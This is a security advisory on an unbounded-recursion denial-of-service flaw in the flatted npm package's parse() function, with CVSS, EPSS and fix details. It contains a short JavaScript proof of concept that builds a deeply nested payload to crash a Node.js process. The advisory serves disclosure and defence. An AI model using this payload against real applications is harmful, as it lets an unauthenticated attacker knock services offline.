flatted vulnerable to unbounded recursion DoS in parse() revive phase
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
All versions prior to the PR #88 fix.
Published:
3/13/2026
Modified:
3/13/2026
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
External Link:
View on GitHub
Probability that this vulnerability will be exploited in the wild in the next 30 days
Current Exploitation Probability
0.02%
6.3th percentile
Low Risk
As of 6/11/2026
EPSS scores are updated daily and represent the probability (0-100%) that a CVE will be exploited in the next 30 days. Higher scores indicate higher risk.
Uncontrolled Recursion
Abstraction Level:
ClassDescription:
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
Related Weaknesses: